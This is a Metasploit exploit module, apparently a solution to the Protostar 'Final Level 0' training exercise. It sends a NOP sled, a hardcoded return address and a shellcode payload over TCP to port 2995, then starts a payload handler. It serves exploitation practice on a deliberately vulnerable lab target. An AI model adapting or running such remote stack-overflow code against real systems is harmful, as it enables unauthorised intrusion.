Metasploit - Protostart Final level 0

#
# Protostar Final Level0 exploit
# by Xelenonz

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

      include Msf::Exploit::Remote::Tcp

      def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Protostar Final Level0 stack overflow',
                        'Description'    => %q{
                                        Exploit for Protostar Level 0 Exploit-exercise About Stack overflow
                                             },
                        'Author'         => [ 'Xelenonz' ],
                        'Version'        => '0.1',

                        'Payload'        =>
                                {
                                        'Space'    => 211,
                                        'BadChars' => "\x0d\x0a\x00\xff",
                                },
                        'Platform'       => 'linux',

                        'Targets'        =>
                                [
                                        ['linux x86',
                                          { 'Ret' => 0xbffffcd0, 'Offset' => 532 } ],

                                ],
                        'DefaultTarget' => 0,

                        'Privileged'     => false
                        ))

                        register_options(
                        [
                                Opt::RPORT(2995)
                        ], self.class)
       end

       def exploit

          print_status("Generate Payload")
          sploit = make_nops(target['Offset']) + [target.ret].pack('V') + payload.encoded
          connect
          print_status("Sending #{sploit.size} byte payload...")
          sock.put(sploit)

          handler
          disconnect

       end
end